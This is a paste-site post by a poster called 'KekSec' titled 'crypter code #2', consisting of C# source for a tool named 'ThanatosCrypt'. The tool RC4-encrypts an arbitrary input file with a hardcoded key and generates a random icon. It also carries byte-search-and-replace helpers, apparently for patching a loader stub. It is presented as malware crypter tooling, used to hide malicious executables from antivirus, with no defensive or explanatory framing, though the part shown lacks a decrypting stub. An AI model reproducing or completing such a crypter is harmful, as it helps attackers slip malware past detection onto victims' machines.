KekSec icon

crypter code #2

KekSec | PRO | 06/23/20 04:33:11 AM UTC | 0 ⭐ | 3964 👁️ | Never ⏰ | []
C# |

6.27 KB

|

None

|

0 👍

/

0 👎

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Drawing;
 
public static class Encrypt
{
 
    static byte[] KEY = null;
    static byte[] IV = null;
    static byte[] payload = null;
 
    private static byte[] EncryptBytes(IEnumerable<byte> bytes)
    {
        //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance
        using (var r = Rijndael.Create())
        {
            using (var encryptor = r.CreateEncryptor(KEY, IV))
            {
                return Transform(bytes, encryptor);
            }
        }
    }
    private static byte[] DecryptBytes(IEnumerable<byte> bytes)
    {
        //The ICryptoTransform is created for each call to this method as the MSDN documentation indicates that the public methods may not be thread-safe and so we cannot hold a static reference to an instance
        using (var r = Rijndael.Create())
        {
            using (var decryptor = r.CreateDecryptor(KEY, IV))
            {
                return Transform(bytes, decryptor);
            }
        }
    }
    private static byte[] Transform(IEnumerable<byte> bytes, ICryptoTransform transform)
    {
        using (var stream = new MemoryStream())
        {
            using (var cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write))
            {
                foreach (var b in bytes)
                    cryptoStream.WriteByte(b);
            }
 
            return stream.ToArray();
        }
    }
    public static class Encryption_Class
    {
        public static string Encrypt(string key, string data)
        {
            Encoding unicode = Encoding.Unicode;
 
            return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
        }
 
        public static string Decrypt(string key, string data)
        {
            Encoding unicode = Encoding.Unicode;
 
            return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data)));
        }
 
        public static byte[] Encrypt(byte[] key, byte[] data)
        {
            return EncryptOutput(key, data).ToArray();
        }
 
        public static byte[] Decrypt(byte[] key, byte[] data)
        {
            return EncryptOutput(key, data).ToArray();
        }
 
        private static byte[] EncryptInitalize(byte[] key)
        {
            byte[] s = Enumerable.Range(0, 256)
              .Select(i => (byte)i)
              .ToArray();
 
            for (int i = 0, j = 0; i < 256; i++)
            {
                j = (j + key[i % key.Length] + s[i]) & 255;
 
                Swap(s, i, j);
            }
 
            return s;
        }
 
        private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
        {
            byte[] s = EncryptInitalize(key);
 
            int i = 0;
            int j = 0;
 
            return data.Select((b) =>
            {
                i = (i + 1) & 255;
                j = (j + s[i]) & 255;
 
                Swap(s, i, j);
 
                return (byte)(b ^ s[(s[i] + s[j]) & 255]);
            });
        }
 
        private static void Swap(byte[] s, int i, int j)
        {
            byte c = s[i];
 
            s[i] = s[j];
            s[j] = c;
        }
    }
 
 
 
}
 
namespace ThanatosCrypt
{
    class Program
    {
 
        public static int FindBytes(byte[] src, byte[] find)
        {
            if (src == null || find == null || src.Length == 0 || find.Length == 0 || find.Length > src.Length) return -1;
            for (int i = 0; i < src.Length - find.Length + 1; i++)
            {
                if (src[i] == find[0])
                {
                    for (int m = 1; m < find.Length; m++)
                    {
                        if (src[i + m] != find[m]) break;
                        if (m == find.Length - 1) return i;
                    }
                }
            }
            return -1;
        }
        public static byte[] ReplaceBytes(byte[] src, byte[] search, byte[] repl)
        {
            if (repl == null) return src;
            int index = FindBytes(src, search);
            if (index < 0) return src;
            byte[] dst = new byte[src.Length - search.Length + repl.Length];
            Buffer.BlockCopy(src, 0, dst, 0, index);
            Buffer.BlockCopy(repl, 0, dst, index, repl.Length);
            Buffer.BlockCopy(src, index + search.Length, dst, index + repl.Length, src.Length - (index + search.Length));
            return dst;
        }
        public static string generateicon() {
            int width = 50;
            int height = 50;
            Bitmap bitmap = new Bitmap(width, height);
            Random rand = new Random();
            for (int y = 0; y < height - 1; y++)
            {
                for (int x = 0; x < width - 1; x++)
                {
                    int r = rand.Next(256);
                    int g = rand.Next(256);
                    int b = rand.Next(256);
                    bitmap.SetPixel(x, y, Color.FromArgb(r, g, b));
                }
            }
            IntPtr HIcon = bitmap.GetHicon();
            Icon newIcon = Icon.FromHandle(HIcon);
 
            string finalpath = Path.GetTempPath() + "randomicon.ico";
 
            FileStream oFileStream = new System.IO.FileStream(finalpath, FileMode.CreateNew);
            newIcon.Save(oFileStream);
            oFileStream.Close();
            return finalpath;
        }
        static void Main(string[] args)
        {
 
            Console.WriteLine("Random icon location: " + generateicon());
            Console.Write("Input file to crypt: ");
            string input = Console.ReadLine().Replace("\r", "").Replace("\n", "");
            Console.WriteLine();
            Console.Write("Output file: ");
            string output = Console.ReadLine().Replace("\r", "").Replace("\n", "");
            File.WriteAllBytes(output, Encrypt.Encryption_Class.Encrypt(Encoding.ASCII.GetBytes("DSNVLUOHFWE"), File.ReadAllBytes(input)));
 
        }
    }
}

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎